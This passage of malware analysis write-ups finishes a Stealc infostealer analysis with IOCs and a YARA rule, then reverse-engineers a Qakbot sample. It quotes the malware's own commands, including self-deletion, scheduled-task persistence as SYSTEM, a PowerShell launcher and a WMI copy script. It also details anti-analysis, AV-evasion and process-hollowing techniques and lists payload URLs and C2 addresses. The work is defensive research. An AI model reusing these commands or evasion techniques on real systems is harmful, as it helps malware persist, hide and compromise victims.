the last stealth behavior is that Stealc asks C2 for another stage to execute it and then drops the file in the Temp directory then executes it.

Removing it Self

the last malware behavior is that Stealc deletes the downloaded Dlls, removes itself from the machine, and exits the process.

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "<Curren File Path" & del "C:\ProgramData\*.dll" & exit

so my analysis ends here I hope this article meets your expectations and if u want to correct anything don’t hesitate to DM me

IOCs

sha256 : 1E09D04C793205661D88D6993CB3E0EF5E5A37A8660F504C1D36B0D8562E63A2  
         77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d  
         87f18bd70353e44aa74d3c2fda27a2ae5dd6e7d238c3d875f6240283bc909ba6  
  
C2 : hxxp://fff-ttt[.]com/984dd96064cb23d7.php  
   : hxxp://moneylandry[.]com/2ccaf544c0cf7de7  
   : hxxp://162.0.238[.]10/752e382b4dcf5e3f.php  
   : hxxp://185.5.248[.]95/api.php  
   : hxxp://aa-cj[.]com/6842f013779f3d08.php  
   : hxxp://moneylandry[.]com/bef7fb05c9ef6540.php  
   : hxxp://94.142.138[.]48/f9f76ae4bb7811d9.php  
   : hxxp://185.247.184[.]7/8c3498a763cc5e26.php  
   : hxxps://185.247.184[.]7/8c3498a763cc5e26.php  
   : hxxp://23.88.116[.]117/api.php  
   : hxxp://95.216.112[.]83/413a030d85acf448.php  
   : hxxp://179.43.162[.]2/d8ab11e9f7bc9c13.php  
   : hxxp://185.5.248[.]95/c1377b94d43eacea.php

Yara Rule

rule Detect_Stealc_Stealer{  
  
    meta:  
        description="Stealc Info Stealer"    
        author="@FarghlyMal"  
        hash="sha256,1E09D04C793205661D88D6993CB3E0EF5E5A37A8660F504C1D36B0D8562E63A2"  
        Date="8/11/2023"     
 strings:  
        $s1="block"  
        $s2="Network Info:"  
        $s3="- IP: IP?"  
        $s4="- Country: ISO?"  
        $hex_value = {74 03 75 01 b8 e8}  
        $hex_value2= {8B 48 F8 83 C0 F0 C7 00 01 00 00 00 85 C9 74 0A 83 39 00}  
      
    condition:  
        uint16(0)==0x5A4D and all of($s*) and all of ($hex_value*)   
   
}

what is Qakbot?

Qbot (Pinkslipbot) is a Banking Trojan first observed in 2007, It is typically delivered through phishing techniques asking to open malicious attachments or to lure victims onto fake websites that use exploits to execute Qbot onto a victim’s machine, Qakbot steals sensitive data and attempts to self-propagate to other systems on the network. Qakbot also provides remote code execution (RCE) capabilities, allowing attackers to perform manual attacks to achieve secondary objectives such as scanning the compromised network or injecting ransomware

Technical Info:

the sample I have today with ID → spx143 has many capabilities and I will list them in brief then I will conduct in detailed analysis

1- Qbot Encrypts all of its strings and C2 Server to avoid static detection

2- Qbot tries to elevate its authority by using COM and also applying scheduled tasks with NT Authority

3- Qbot also has many anti-analysis and anti-sandboxing tricks

4- can bypass any security control and also inject its Webinjection layer in one of the security control agents which avoids any detection,cause detection control is already run with Qbot code

5- Qbot tries to run a service with high authority

6-Qbot tries to check its Commandline parameters and has a list of parameters and every argument determines a different job to do so it tries to run itself with different command lines and check the Exit Code every time to determine If the subtask was completed successfully or not, like this

exe name [ /C ] or [/W] or [/I] or[P] or[/Q]…..

→ so I will try to make this blog a reference for Qbot cause it will talk about all malware stages, especially Web injection which I will talk a lot about it in this blog or another one, I will determine this when it’s time come in the Malware flow …..keep reading

Technical Analysis

I will not talk a lot about malware through a Word document that contains some macros that own job to download the next stage which is 32-dll and run it, so it uses some hacked websites that contains some image so the sample tries to connect to this legal website and download this image which is PE file and here some C2s I have after some research and reading

hxxp://pickap[.]io/wp-content/uploads/2020/04/evolving/888888[.]png

hxxp://decons[.]vn/wp-content/uploads/2020/04/evolving/888888[.]png

hxxp://econspiracy[.]se/evolving/888888[.]png

hxxp://enlightened-education[.]com/wpcontent/uploads/2020/04/evolving/888888[.]png

hxxp://kslanrung[.]com/evolving/888888[.]png

the downloaded dll is packed so using a debugger and putting some breakpoints in VirtualAlloc() and CreateProcessInternelW() will help you to bypass the Packing routine, let’s do our job and reverse it …

First look

Qbot comes with high entropy due to its encrypted Configuration, the resources are very large and this indicates that there is another layer that will be loaded, all of these many strings have no means but it forgets to delete some of them when he(developer) was debugging the Malware

So the next will be done through my Lady IDA pro, let’s complete

String Decryption

in order to complete the analysis process correctly, we need to perform the decoding process for the strings in the file so I have the time to explore the decryption routine and write a basic script to decrypt the strings and comment it in assembly view, so I build a script which depends in IDA python and PEfile libraries

import idc  
import idautils  
import pefile  
import idautils  
import binascii  
import struct  
  
  
filename = r'Filepath'  
def rename_operand(address,string):  
    idc.MakeName(address,string)  
  
def get_data_key(): #this function parse the data used for decryption  
    pe  = pefile.PE(filename)  
    for section in pe.sections:  
        if b'.data' in section.Name:  
            key = section.get_data()[1216:1283]  
        if b'.rdata' in section.Name:  
            data = section.get_data()[32048:46118]  
    return data,key  
  
  
def decrypt_str(hex_index):  
    data,key = get_data_key()  
    ref_index =int(hex_index,16)  
    ref_max = int(b'36F4',16)  
  
    flag = False  
    decrypted =''  
    if ref_index < ref_max :  
        while key[ref_index & int(b'3f',16)] != data[ref_index]:  
            and_operation = ref_index & int(b'3f',16)  
            decrypted +=chr((data[ref_index] ^ key[and_operation]))  
            ref_index +=1  
          
    return decrypted  
  
  
dec_function = 0x004065B7  # this the address of the function   
                           # used in decryption, so i use it to get all   
                           # refs to it and comment it with the decrypted value  
Xrefs = idautils.CodeRefsTo(dec_function,0)  
for x in Xrefs:  
    ea =idc.prev_head(x)  
    type_ = idc.get_operand_type(ea,1)   
    if type_ == 5 :   
       hex_index = idc.get_operand_value(ea,1)  
       decrypt_val = decrypt_str(hex(hex_index))  
       print(decrypt_val)  
       idc.set_cmt(x,decrypt_val,0)

and here is the result of our script

Check Windows Defender and Decrypt APIs

the sample next will parse the command line and try to check if the file “C:_INTERNAL___empty” exists. This file can be used to check the existence of Windows Defender emulation, and it does this by using GetFileAttributes() if it found it, it will return -1 which will cause the malware to terminate itself

figure 3 -check Defender

if the file doesn’t exist the malware will load some APIs by decrypting the API name and then pass the name to GetProcAddress(), and then it will save this address in the data section to use later

so I append a section in the above script to decrypt APIs and then rename offset with API name and here is how it looks like

and here is how it looks like after decryption and renaming operation

here is the link to the repo which contains all scripts I used against the sample. Click Here.

Prepare Work Environment :

1- the Malware next will try to play with SID (security ID) and also get security Access using process Token to determine the security access level to know the level of the user

2- it also will determine Computer arch [0x64 or 0x86]

3- check if the current user belongs to Active Directory Domain or not

4- it will try to initialize SID and compare it against USER SID

Check AVs Existence

then the malware will decrypt some exe names related to some agents used by famous security Anti-Virus products, Qbot will compare these agent’s names against all running processes in Victim Machine and will do this using CreatToolHelpSnapShot()API, every agent has its own ID and at the end of this comparison the responsible function will return this ID which will be used to avoid some behavior that will be detected by the AV and to simplify this I will try to show you how the data is saved in the stack in this process

the malware creates a structure and uses this structure to save every AV data

struct exe_blob_AVs  
{  
  int ID;            //ID will be used later  
  int Encrypt_Code;  //the encryption index  
  int n;             //the number of agents for this AV  
  int name;          //Agent name   
};

so as I have said before it will generate a list of running process

and after that, it will save the ID in Global Var

ID      Dec_Code   Agent Name

0x1    |  0x660  |    ccSvcHst.exe

0x2    |  0x8C6  |    avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe

0x4    |  0x2E7  |    MsMpEng.exe

0x8    |  0x1A6  |    mcshield.exe

0x10   |  0x6AD  |    avp.exe;kavtray.exe

0x20   |  0x398  |    egui.exe;ekrn.exe

0x40   |  0x141  |    bdagent.exe;vsserv.exe;vsservppl.exe

0x80   |  0x912  |    AvastSvc.exe
 
0x100  |  0x1B3  |    coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe

0x200  |  0x90   |    SAVAdminService.exe;SavService.exe

0x400  |  0x523  |    fshoster32.exe

0x800  |  0x77C  |    WRSA.exe

0x1000 |  0x8F0  |    vkise.exe;isesrv.exe;cmdagent.exe

0x2000 | 0x7F9   |    ByteFence.exe

0x4000 | 0x726   |    MBAMService.exe;mbamgui.exe

0x8000 |  0xAFA  |   fmon.exe

Enum Windows:

Qbot Next will Enum running Windows and Extract its name and compare it to a strange name “snxhk_border_mywnd”, so it’s my first time facing this strange name so I have conducted some research and I found that , this name is related to my MMC so let’s talk in brief about MMC.

MMC stands for Microsoft Management Console. A GUI (Graphical User Interface) allows users to manage Windows settings and components. MMC is a snap-in-based console, which means that it can be customized with different snap-ins to manage different aspects of Windows.

The Qbot Trojan uses the MMC window to install itself on infected computers because the MMC window has a high level of privileges. This means that the Qbot Trojan can install itself without being detected by some antivirus programs.

Exploring EnumFunc() passed to EnumWinsows()API this function is used as a callback function to be called every time this API detects a Window or any graphic symbol, Qbot uses GetClassName()API to Extract Window name by passing a handle to the window

and then it compares it against the Strang name I talked about above “snxhk_border_mywnd”

and based on the result of this operation Qbot will take a decision of resolving an API to be ‘MessageBoxA’’ or ‘’FindFirstFileA’’

Run ChildProcess and Get ExitCode :

next Qbot will parse command line arguments as I said before and compare them against the embedded arguments, if it found the Command line argument is less than or equal to 1, it means that the malware has been executed without any parameters and it will take a decision to run itself but with different arguments, and for the first time it will run with [/C] argument, let’s explore that….

here it compares a number of arguments.

and if it is not greater than 1 it will go to [Loc_401BB2], Exploring this location, the Malware Will Compare Anti-Virus Group Id I explained before to 0x40 that’s means checking if Victim uses BitDefender software and if it’s, it will not run a child process with argument [/C]

My VM does not have any security software so this comparison will lead us to the child process, let’s explore it, inside mw_CreateChildProcess(), Qbot will prepare a command line that will be used to run itself again, it will append [/C] to its file path and then call CreateProcessA()API,

inside mw_CreateProcess(), there is a call to GetExitCodeProcess()API and the malware uses ExitCode to determine if the child process does its task correctly or not,if we take a look at this

and after that, it will check if the exit code = 1 or not which will be used next to determine many steps

So I have attached a debugger to the child process and moved to the Entry point and start again but with a different command line in this case it’s [/C] so I will move to the part the malware does if it found ‘/C’ in the command line

ANTI-Analysis Checks :

As you have seen, the malware will do some anti-sandboxing and Anti- virtualization tricks, so Let’s examine these tricks and learn about them in detail…

1- malware check if it is running in VMware product using I/O ports and will return 0 if it’s

2-Qbot will Enumerate all running devices and also compare them against some VMware, VBox, and Malware Analysis tool Devices and if it detects any of them it will take a different action

3-Qbot will iterate overall running processes and compare them with embedded process names related to some Tools used by Researchers

4-Malware Also Check Loaded Modules and also have some modules that will be used by SandBoxs so it will compare them and flag if it detects any of them

5-Compare Module name against some names also used by sandboxes and Researchers

6- will use cpuid instruction to get CPU Name and compare it against decrypted CPU Name.

check anti-analysis

so let’s dig deep into these functions one by one:

mw_Check_VMware_Port():

this function gets a value from the I/O ports using the ‘in’ instruction and compares it with the embedded value, it uses port = 0x5658, and this port number is related to the VMware product so after executing the instruction it checks if the value = 0x564D5868 → ‘VMXh’ which alter that the malware is running inside a virtual machine

mw_CheckDevices():

inside this function, Qbot will encrypt some Devices names and some devices keyword that may be used inside the Device description and then it will compare these 2 lists against All Devices Names and Descriptions installed inside the machine, figure will explain that….

this is the list to compare, and many of them are related to VMware and Vbox.

the malware starts by calling SetupDiGetClassDevsA() which is used to return a handle to a device information set, this handle will be used again to retrieve device information [description or name]

inside sub_40352c() it will use the third argument which is used to determine the type of data retrieved by SetupDiGetDeviceRegistryPropertyA()API,

SetupDiGetDeviceRegistryPropertyA(// The function retrieves a REG_SZ string that contains the description of a device.

         DeviceInfoSet,  
         DeviceInfoData,  
         Property,              #third argument   
         &PropertyRegDataType,  
         PropertyBuffer,        # Data Retrieved   
         PropertyBufferSize,  
         &PropertyBufferSize) )

and then it will check if an error occurred using GetLastError()API, and then return the retrieved data

then the malware will do the same operation but use a different flag as a property, and this time it uses the service name and then compare it against the installed devices’ names

Here is the list of device names.

mw_CheckRunning_Process():

next Malware will create a snapshot of all running processes and compare them against a package of tools used by Malware Analyst and Researchers

then it will iterate over all processes and get its name then compare

and here is the list of Process to detect.

mw_CheckLoaded_Modules():

inside this function, Qbot creates a snapshot of all loaded modules inside the victim machine and compares it against some modules that had been used by sandboxes, like.

ivm-inject.dll

SbieDll.dll

mw_CheckModuleFileName():

inside this function, Malware will compare filename against some names that are used a lot with sandbox and Malware Researchers,like

‘sample’

‘mlwr_smpl’

‘artifact.exe’

mw_Check_CPU():

this function benefits from _cpuid x86 instruction and uses it twice to retrieve data about the CPU used inside the victim machine.

when u use cpuid instruction u need to put a value inside the EAX register that will determine the return value of cpuid instruction, in our case, the first time it put 0 inside EAX, that returns the CPU model and will be saved inside EBX, ECX, and EDX registers

the second chance it will put 1 inside EAX and the result of this has much information but we are interested in one bit of them that is stored inside ECX eax and if it’s = 1 → VM, and if = 0 → Normal Machine

mw_Check_NAT_Network:

if you have used VMware before and adjusted the network card settings to be NAT, VMware will start a process called vmnat.exe which is used to manipulate the communication in the NAT formula with the guest machine

vmnat.exe is a Windows executable file that is used by VMware Workstation to provide Network address translation for virtual networks

so Qbot will create a snapshot for all running processes and compare them with ‘vmnat.exe’

check Hibernation :

the malware encrypts a string called ‘c:\hiberfil.sysss’ and after some research, I found that The file “c:\hiberfil.sys” is a system file on the Windows operating systems. It is created when you enable the Hibernate feature, which allows your computer to save the current state of your system to the hard disk and power off

I know that I talked a lot about Anti-analysis but as I said before I want this article to be a reference in reverse engineering Qbot -_-

Back To the parent :

so after all of these anti-analysis checks, Malware will back again to Parent Process but with ExitCode I explained above, this exit code determines if it’s running inside VM or not

1 = VM OR SandBox (Analysis Machine)

0 = Normal machine

Load Resource 307 :

then after the parent takes control again it will proceed to load resource with [ID = 307 ] using sub_40419A which I have renamed to ‘’MW_W_ResourceManuplations ‘’

so we need to dive deep into this function and u will find that it wraps a function that has the core API Calls for resource manipulation…

inside sub_40405B → ‘mw_Resource_307_Manuplations’ it has some calls like..

FindResourceA() → to obtain the location of the resource

SizeOfResource() → to get resource size

LoadResource() → retrieves a handle that can be used to obtain a pointer to the first byte of the resource

then it goes further to decrypt this resource using RC4 using some nested calls, but I am interested only in the decrypted resource so maybe we need to bypass some calls…

here is Qbot after getting a pointer to Resource’s first Byte it uses wrapped RC4 function → sub_402D00 ‘’mw_w_w__RC4_Decrypt’’, if we take a look inside this function …

you will find that the function first allocates a heap with a size of 0x448 but I have observed that this size is very small compared to the Resource Size so this heap may be used as a structure next or another thing but it will not contain the decrypted Data

so we need to move forward to sub_402C1F “mw_RC4_Decrypt”, and inside this function, I really have found what I need, there is a heap allocation but this time uses Resource Size as an argument and that will give us a heap with size = 0x233CA → Resource Size.

and next, I observed another function (sub_403117) which I have renamed to ‘mw_RC4_Decrypt’ cause inside it RC4 mechanism comes

take a deep look at the figure above to be able to understand what comes next.

the RC4 Decryption Routine:

Qbot uses the first 20 bytes of resource as a key which will be used to generate RC4 Key and then implement complex XOR operation inside RC4 Algorithm, so let’s take another look inside ‘’mw_RC4_Decrypt’’

so we need to see this operation in a more dynamic view so that I will use the debugger for the next step

first, it will copy the data inside the large heap

malware will do the 2 following steps related to KSA and PRGA and will result in us the decrypted chunk …

as we know in RC4_KSA it initializes an array with 256 and then will do some operations to generate a symmetric key, it will generate a 256-byte key using the first 20 bytes of the resource

next, the final part comes which is xor and decrypt …

so let’s Explore RC4_PRGA, and inside it, the decryption is done correctly but results in a destroyed PE File

this Header is destroyed with many Null Chars ‘0x00’ bytes, so I will not give up and will trace its code until it fixes this PE File.

Fixing PE Headers

after the Decryption part, we got Distorted data so statically that we couldn’t resolve it, so inside sub_40703C there is some suspicious operation that may help us in this stage of fixing

getting into this function I found that it Allocate a heap 3 times. at this point, I am not interested in how it fixes the File I just want it to be fixed so I will parse the 3 pointers that Allocate Heap returns and watch them in the dump, and set a HardWare Breakpoint in the first DWORD in the 3 heaps until the Malware Hits any of them and when we hit this breakpoint we will know what function is responsible for this

so we got a hit inside sub_4080A2 and the malware started writing a Normal PE file inside the Allocated Heap

sub_4080A2 is responsible for PE Fixing operation

fixed pe file

so after resolving all sections, I dumped this memory chunk for further analysis

Resource 308 :

after that malware decrypted resource 307 and load it into memory but does not execute it yet

but the trick is that, Qbot loads 307 PEfile into memory and gets a pointer to it, and then will use this pointer to get a reference for one of its resources with ID = 308, the following figure will explain more.

it processed in decrypting 308 rcs and it will do the same operation, so I dumped the resource cause its size is smaller than the first one, just 0x40 bytes, and uses Cyber chef to decrypt it by using the first 20 bytes as a key for RC4_KSA routine

10 = spx143 → the botnet ID

3 = 1592482956 → Unix Time refers to the Creation Time of 307 PeFile

Check AVAST Anti-Virus Software :

inside sub_408F6F Qbot has much work to do, so in the next words I will try to summarize more cause this article is going to be tall more than I expected

inside sub_406726 “mw_Check_AVAST_AV” Qbot Tries to Check the existence of AVAST SoftWare by trying to get a handle for some DLLs used be AVAST

_aswhooka.dll

aswhookx.dll_

and if it detects any of them,it will not complete the whole sub_408F6F and return -1.

Play with SpyNet Registry Key :

after ending the AVAST check Qbot checks if Token Flag obtained before has the priority of 3 which means it’s Mandatory and if it’s, it will Do some operation in the registry with keys related to Windows Defender and Anti-Malware Service inside sub_406874() “mw_Maniuplate_with_SPYNET_Registery()”

SOFTWARE__Microsoft_\Microsoft AntiMalware\SpyNet_

SOFTWARE__Wow6432Node_\Microsoft AntiMalware\SpyNet_

and will check for 2 values

1- ‘SpyNetReporting’: This value specifies whether or not Microsoft Antimalware will report information about malware to SpyNet.

2- ‘SubmitSamplesConsent’: This value specifies whether or not Microsoft Antimalware will submit samples of malware to SpyNet

but the trick here is that Qbot doesn’t access the registry via direct API Calls like AddRegKey() or whatever, instead of that it creates a process that uses reg.exe and passes the command line to modify the Registry

— — — u need to add here the full command line executed by reg.exe — — —

if we return to sub_408922 which will do many things, I will talk about important keys and operations inside it.

sub_408922 :

1- Query User Profile Via Registry

the first action done inside sub_408922 is querying a value from the registry related to User’s profile paths, so inside sub_40A6C1, Qbot will try to decrypt the subkey and use the value to extract

subkey → SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

value → ProfileImagePath → This value specifies the path to the user profile folder.

cause there are many user profiles in this subkey so it will append the SID of the User to only get its profile path

2- Generate 2 File Names:

we are still inside sub_408922 and after getting the user profile path and AppData path Qbot will generate 2 file names that will be used one for saving data or its configuration and the other to save itself

3-Write Data into .dat File

after generating 2 Random names for files, Qbot starts allocating data to be stored into a data file which will be used as Config and will be accessed many times by Qbot, after that Data is RC4 decrypted and then written to the file.

here is what the data looks like before encryption.

11=2 → hard drive type
1=09.53.50–24/06/2023 → time of Qbot’s installation
2=1687625630 → Unix time

and hereafter writing encrypted Config into a .dat file

and then Qbot will copy itself to the same path but it uses a different approach than using CopyFile() API, so it decrypts a VBS code and then save it for further execution

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")  
Set colFiles = objWMIService.ExecQuery("Select * From CIM_DataFile Where Name = '%s'")  
    For Each objFile in colFiles  
    objFile.Copy("%s")  
    Next

VBScript uses the Windows Management Instrumentation (WMI) service to copy a file. The script first creates a WMI object and then executes a query to select all files that match the specified name. The script then loops through the results of the query and copies each file to the specified location

Qbot uses CScript.exe to run the code and this code is responsible for coping data from one place to another

the file is the same name as the .dat file I explained before and is saved in the same directory

Execute Dropped File :

after dropping itself in another path it will check AVs via the IDs Explained before, if Qbot detects F-Secure or Kaspersky Avs it will use COM to Execute the Dropped File, else it will run it normally using CreateProcess(), so I forced the File to Use com Just for learning.

The first step is to create a WMI object. This is done by calling the ConnectServer() API with the WMI namespace ROOT\\CIMV2. The ROOT\\CIMV2 namespace is the root namespace for WMI.

The next step is to call the CoSetProxyBlanket() method. This method is used to set the security context for the WMI object. The security context determines the permissions that the WMI object has.

The third step is to call the GetObject() method with the Win32_Process class. The Win32_Process class represents a process on a Windows computer.

The fourth step is to call the Put() method with the command line %AppData%\Microsoft\Vhdktrbeex\Qbot.exe. The Put() method is used to set the properties of the WMI object. In this case, the property that is being set is the command line that the process will execute.

The fifth and final step is to call the ExecMethod() method to run the process. The ExecMethod() method executes the method that is associated with the property that was set in the Put() method. In this case, the method that is being executed is the Run() method.

using a WMI object to run QBot is a better way than directly calling CreateProcess for protecting the process. As we know, the WMI object is handled by the Windows process “wmiprvse.exe”

Persistence :

Qbot uses a variety of persistence methods.

1- Via Registry

the first and famous method of persistence is adding a malware path to the registry key that runs all of its value when the OS boots, so Qbot uses

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Qbot uses sub_406B6A for Adding Key values but instead of using Normal APIs, it runs rege.exe to perform this Task.

2- Run PowerShell Code:

Qbot has the ability to run PowerShell code to scam users into something related to Windows updates, sub_4069E9 Qbot Decrypt the PowerShell code and then appends Dropped file to this code

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command
“$windowsupdate = "C:\Users\Hack\AppData\Roaming\Microsoft\Zqtyjwtbony\nlpuzzcw.exe";
& $windowsupdate

This code assigns the file path "C:\Users\Hack\AppData\Roaming\Microsoft\Zqtyjwtbony\nlpuzzcw.exe" to the variable $windowsupdate. Then it executes the command stored in $windowsupdate using the & operator.

3- Create a link File :

it also has the ability to create a link file and add it to the path of startup programs

C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\nlpuzzcw.lnk

This means it will be automatically executed when the users start their computer.

then it will use COM to create an object of Shell32.dll to run this

4-Create a scheduled Task:

Qbot tries to add itself to schedule tasks to run itself every 5 hours, the scheduled task runs this dropped file as a kind of persistence, and the dropped file executes with [“/i”] on its CommandLine.

so it adds the task to run as NT Authority

“C:\Windows\system32\schtasks.exe” /Create /RU “NT AUTHORITY\SYSTEM” /tn pbyrjymee /tr “"C:\Users\UserName\Desktop\QbotForTesting\Qbot.bin" /I pbyrjymee” /SC ONCE /Z /ST 20:34 /ET 20:46

The Schedule Task Process:

the executed task which has been fed with the argument “/I”, In fact, this mission has been fueled by more than 2 argument, If you check the code section above you will observe that there is 2 argument passed to Qbot Task

“/I pbyrjymee “ and that makes the number of arguments = 3 due to

Process name , /I , pbyrjymee

Qbot Handles this via a different Code branch in which all missions is deleting scheduled tasks and replace the image file with a legitimate file

1 - Replace Your Self :

due to argument [“/I”] the created task will go to the code branch prepared for “/I”

“mw_LoadRcs” is the function we have analyzed before but this time in sub_408F6F “mw_Create_Schedule_Task” it will check the existence of the Dropped File in %APPDATA%Rooming/Microsoft/Zqtyjwtbony and if it exists it will make a different behavior and at this point, it will replace itself with Calc.exe process

inside sub_40870E() “mw_ShellExecute()” it will check AV Group Id and if it is one of the following it will return -1.

else it will complete the Hollowing mission

and the full command will be like this

Cmd.exe /c ping.exe -n 6 127.0.0.1 & type “C:\Window\System32\calc.exe” > “C:\Users\UserName\Desktop\QbotForTesting\qbotfortesting_00820000.bin

2 - Delete Scheduled Task :

cause the scheduled task executed with 3 command line arguments, so in Qbot main it retrieves the number of arguments and then checks if it is bigger than 2

Command line → Process name /I pbyrjymee

inside sub_406990 “mw_Delete_Schedule_Task,” Qbot will resolve the command line used to run “schtasks.exe” and Delete this task

Process injection :

if you remember the process created by WMI which is called nlpuzzcw.exe this process runs Under WMI and had been executed without any argument so it will do the same behavior done with Parent File as it is executed for the first time but the difference comes on the event that it checks for its directory and if it exists, it will take a different code branch, so one of the most important methods done by this WMI process is Process injection, inside sub_4045A8() which is responsible for Process injection mechanism Qbot check the x64 Flag obtained before to determine the victim process to be hacked

After finding out the unlucky process Qbot starts preparing for injection and this stage includes:

1-Creating a process in a suspended state

this type of injection requires a suspended process to modify its Binaries

2-Create a new section to contain the code to be injected

to complete the injection steps, Qbot needs to create a new section to contain the code and then map this code in the 2 processes the current process and the suspended process, if this process completes successfully then it need to unmap the section of the current process.

3- Write payload into Remote Process and Set Entry Point.

at this point, memory is ready for code writing but first Qbot needs to change the memory protection of the created section from RX to RWX to be able to write data without any access violation. and before this step, it needs to obtain metadata related to the entry point of the suspended process using GetThreadContext() API and then it will change EAX register which contains the entry point address with 0xE9 which is saved inside V9,

0xE9 → Jmp instruction in x86 arch

this jump instruction will point to The Payload entry point

4- Resume the suspended Thread

The final step is to Resume the suspended thread after modifying its binaries and sections

C2 Connection :

this stage of Qbot has a few connections to C2 inside some functions and is only used for updating Qbot but if you remember Resource with ID 307 which after decryption was PE File.

307 Resource has 2 resources 308,311

we have talked about 308’s Resource which contains campaign data like ID and Compilation Time, by using the same decryption approach used for 308 and 307 resources which was about using the first 20 bytes as Key for RC4 Decryption, I have used CyberChef for this operation, and it extracts me with more than 100 IPv4 addresses.

Conclusion.

Qbot is one of the most sophisticated Malware, It has the ability of Banking Trojans by using WebInjection and Exfiltrate user data so in the next part I will talk in deep about API Hooking and Webinjection Module used by Qbot….soon ISA

IOCs:

Qbot: F5FF6DBF5206CC2DB098B41F5AF14303F6DC43E36C5EC02604A50D5CFECF4790  
  
Resource_307 : 118FC3D93D6E34B8F1A817313E218A3A4F5BAF996E03CD2BE34E237B197FA0F3  
  
URL :  
    http://st29[.]ru/tbzirttmcnmb/88888888.png  
  
    http://restaurantbrighton[.]ru/uyqcb/88888888.png  
  
    http://royalapartments[.]pl/vtjwwoqxaix/88888888.png  
  
    http://alergeny.dietapacjenta[.]pl/pgaakzs/88888888.png  
  
    http://egyorg[.]com/vxvipjfembb/88888888.png  
  
C2 :  
39.36.254.179;995  
24.139.132.70;443  
24.202.42.48;2222  
72.204.242.138;443  
172.242.156.50;995  
72.204.242.138;20  
68.174.15.223;443  
74.193.197.246;443  
96.56.237.174;990  
64.19.74.29;995  
70.168.130.172;443  
189.236.166.167;443  
68.4.137.211;443  
76.187.8.160;443  
76.86.57.179;2222  
73.226.220.56;443  
67.250.184.157;443  
75.183.171.155;3389  
173.172.205.216;443  
173.3.132.17;995  
172.78.30.215;443  
207.255.161.8;32103  
75.137.239.211;443  
68.49.120.179;443  
206.51.202.106;50003  
82.127.193.151;2222  
207.255.161.8;2222  
207.255.161.8;2087  
24.152.219.253;995  
187.19.151.218;995  
197.37.48.37;993  
188.241.243.175;443  
72.88.119.131;443  
89.137.211.239;443  
108.30.125.94;443  
187.163.101.137;995  
100.19.7.242;443  
45.77.164.175;443  
80.240.26.178;443  
66.208.105.6;443  
207.246.75.201;443  
199.247.22.145;443  
199.247.16.80;443  
95.77.223.148;443  
68.60.221.169;465  
5.107.220.84;2222  
41.228.212.22;443  
86.233.4.153;2222  
68.200.23.189;443  
201.146.127.158;443  
79.114.199.39;443  
87.65.204.240;995  
71.74.12.34;443  
217.162.149.212;443  
195.162.106.93;2222  
75.165.112.82;50002  
201.248.102.4;2078  
96.41.93.96;443  
89.247.216.127;443  
84.232.238.30;443  
103.238.231.40;443  
174.34.67.106;2222  
98.115.138.61;443  
91.125.21.16;2222  
84.247.55.190;443  
193.248.44.2;2222  
74.135.37.79;443  
78.96.190.54;443  
86.126.97.183;2222  
2.50.47.97;2222  
68.39.160.40;443  
96.232.203.15;443  
86.144.150.29;2222  
71.220.191.200;443  
24.231.54.185;2222  
80.14.209.42;2222  
24.164.79.147;443  
70.183.127.6;995  
47.153.115.154;993  
184.180.157.203;2222  
50.104.68.223;443  
67.165.206.193;995  
200.113.201.83;993  
47.153.115.154;465  
24.42.14.241;995  
189.160.203.110;443  
188.27.76.139;443  
207.255.161.8;32102  
49.207.105.25;443  
71.210.177.4;443  
117.242.253.163;443  
50.244.112.106;443  
69.92.54.95;995  
41.34.91.90;995  
72.204.242.138;53  
41.97.138.74;443  
72.29.181.77;2078  
71.88.168.176;443  
2.50.171.142;443  
67.83.54.76;2222  
86.125.145.90;2222  
47.153.115.154;995  
24.122.157.93;443  
47.146.169.85;443  
72.181.9.163;443  
187.155.74.5;443  
71.209.187.4;443  
74.75.216.202;443  
24.44.180.236;2222  
24.43.22.220;993  
108.188.116.179;443  
100.4.173.223;443  
76.170.77.99;443  
70.95.118.217;443  
134.0.196.46;995  
68.225.56.31;443  
72.204.242.138;32102  
72.204.242.138;50001  
108.190.151.108;2222  
72.204.242.138;465  
50.244.112.10;443  
173.22.120.11;2222  
24.43.22.220;995  
24.43.22.220;443  
92.17.167.87;2222  
72.209.191.27;443  
72.204.242.138;80  
72.204.242.138;443  
71.187.170.235;443  
96.56.237.174;32103  
71.187.7.239;443  
184.98.104.7;995  
70.124.29.226;443  
137.99.224.198;443  
73.23.194.75;443  
151.205.102.42;443  
64.224.76.152;443  
72.204.242.138;32100  
173.187.101.221;443  
72.179.13.59;443  
208.93.202.49;443  
70.174.3.241;443  
96.37.137.42;443  
76.111.128.194;443  
67.209.195.198;3389  
61.3.184.27;443  
24.42.14.241;443  
74.56.167.31;443  
5.193.61.212;2222  
117.216.177.171;443